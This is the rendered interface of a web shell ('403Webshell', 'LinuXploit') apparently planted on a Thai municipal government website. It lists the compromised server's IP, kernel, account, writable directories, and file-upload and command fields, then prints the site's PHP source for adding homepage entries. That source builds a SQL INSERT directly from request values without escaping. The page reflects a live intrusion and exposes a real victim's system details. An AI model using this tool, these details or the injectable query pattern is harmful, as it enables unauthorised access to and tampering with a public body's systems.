403Webshell
Server IP : 119.59.102.212  /  Your IP : 18.117.197.188
Web Server : Apache/2
System : Linux narin 2.6.32-042stab142.1 #1 SMP Tue Jan 28 23:44:17 MSK 2020 x86_64
User : yangkam ( 1022)
PHP Version : 5.6.40
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/yangkam/domains/yangkam.go.th/public_html/coremain/module/home1/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/yangkam/domains/yangkam.go.th/public_html/coremain/module/home1/home_add_page_output.php
<?php
$navig['home']="ข้อมูลหน้าแรก";
$navig['home_add_page']="เพิ่มข้อมูล";
navigator($navig);
echo"<br>";
bar_header("เพิ่มข้อมูล"); // Bar_Header
fieldset_top("ข้อมูลหน้าแรก");

if($p_topic!="")			{  $topic=trim($p_topic);				}
if($p_evar!="")				{  $fulltexts=trim($p_evar);			}
if($p_home_type != '')      {  $home_type = trim($p_home_type);     }

$sql="SELECT max(position+1) FROM cms_home";
$r=mysql_query($sql);
$d=mysql_fetch_array($r);
if($d[0]==0 or $d[0]=="") $d[0]=1;
//#########เพิ่มข้อมูลลงในฐาน

if($home_type == 'egp'){
  $element = '';
  $element .= $p_deptId != '' ? '&deptId='.$p_deptId : '';
  $element .= $p_deptsubId != '' ? '&deptsubId='.$p_deptsubId : '';
  $element .= $p_anounceType != '' ? '&anounceType='.$p_anounceType : '';
  $element .= $p_methodId != '' ? '&methodId='.$p_methodId : '';
  $_element = $element != '' ? '?'.substr($element, 1) : '';
  $fulltexts = 'http://process3.gprocurement.go.th/EPROCRssFeedWeb/egpannouncerss.xml'.$_element;
}else if($home_type != ''){
  $fulltexts = 'dla.go.th';
}
$sql="INSERT INTO `cms_home` (`id_home` ,`bar` ,`fulltexts` ,`position` ,`status`) VALUES (NULL , '$topic', '$fulltexts', '$d[0]', '1')";
mysql_query($sql) or die(mysql_error());

echo "<br><br><center><b>ข้อมูลได้ถูกเพิ่มแล้ว<b></center><br>";
refresh_data("index.php","1");	// refresh หน้าจอ
//include('coremain/footer.php');
fieldset_down();
?>

Youez - 2016 - github.com/yon3zu
LinuXploit